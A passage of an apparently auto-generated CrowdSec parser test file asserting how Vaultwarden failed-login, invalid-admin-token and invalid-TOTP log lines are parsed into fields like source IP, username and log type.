results["s00-raw"]["crowdsecurity/non-syslog"][17].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][17].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s00-raw"]["crowdsecurity/non-syslog"][17].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][17].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][17].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][18].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][18].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s00-raw"]["crowdsecurity/non-syslog"][18].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][18].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][18].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][19].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][19].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s00-raw"]["crowdsecurity/non-syslog"][19].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][19].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][19].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][20].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][20].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s00-raw"]["crowdsecurity/non-syslog"][20].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][20].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][20].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][21].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][21].Evt.Parsed["message"] == "[2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18" results["s00-raw"]["crowdsecurity/non-syslog"][21].Evt.Parsed["program"] == "Vaultwarden" results["s00-raw"]["crowdsecurity/non-syslog"][21].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][21].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 22 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][10].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][11].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][12].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][13].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][14].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][15].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][16].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][17].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][18].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][19].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][20].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][21].Success == false len(results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"]) == 22 results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["date"] == "2022-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["message"] == "[2022-02-03 16:10:11.219][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["time"] == "16:10:11.219" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][0].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["date"] == "2022-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["message"] == "[2022-02-03 16:10:15.993][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Parsed["time"] == "16:10:15.993" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["message"] == "[2022-02-03 16:10:14.593][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["date"] == "2022-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["time"] == "16:10:14.593" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][2].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["time"] == "16:10:30.702" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["date"] == "2022-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Parsed["message"] == "[2022-02-03 16:10:30.702][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][3].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["date"] == "2022-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["time"] == "16:10:35.376" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Parsed["message"] == "[2022-02-03 16:10:35.376][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][4].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["date"] == "2022-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["time"] == "16:10:36.810" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Parsed["message"] == "[2022-02-03 16:10:36.810][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Meta["source_ip"] == "2001:db8::b6d3:95d7:1425:766d" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][5].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["message"] == "[2021-02-03 16:10:59.955][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["source_ip"] == "192.0.2.130" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["time"] == "16:10:59.955" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["date"] == "2021-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["year"] == "2021" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Meta["source_ip"] == "192.0.2.130" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][6].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["date"] == "2021-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["message"] == "[2021-02-03 16:11:02.266][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["source_ip"] == "192.0.2.130" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["time"] == "16:11:02.266" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Parsed["year"] == "2021" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Meta["source_ip"] == "192.0.2.130" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][7].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["time"] == "16:11:04.117" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["year"] == "2021" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["message"] == "[2021-02-03 16:11:04.117][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["source_ip"] == "192.0.2.130" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Parsed["date"] == "2021-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Meta["source_ip"] == "192.0.2.130" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][8].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["day"] == "03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["source_ip"] == "192.0.2.130" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["time"] == "16:11:57.620" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["year"] == "2021" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["date"] == "2021-02-03" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["message"] == "[2021-02-03 16:11:57.620][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com." results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Parsed["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Meta["log_type"] == "vaultwarden_failed_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Meta["source_ip"] == "192.0.2.130" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][9].Evt.Meta["username"] == "test@example.com" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Parsed["time"] == "11:55:04.725" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][10].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Parsed["time"] == "11:55:04.725" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][11].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Parsed["time"] == "11:55:04.725" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][12].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Success == true results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Parsed["month"] == "02" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Parsed["program"] == "Vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Parsed["source_ip"] == "2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Parsed["time"] == "11:55:04.725" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Parsed["year"] == "2022" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Parsed["date"] == "2022-02-05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Parsed["day"] == "05" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Parsed["message"] == "[2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Meta["datasource_path"] == "vaultwarden-logs.log" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Meta["log_type"] == "vaultwarden_failed_admin_auth" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Meta["service"] == "vaultwarden" results["s01-parse"]["Dominic-Wagner/vaultwarden-logs"][13].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a19" 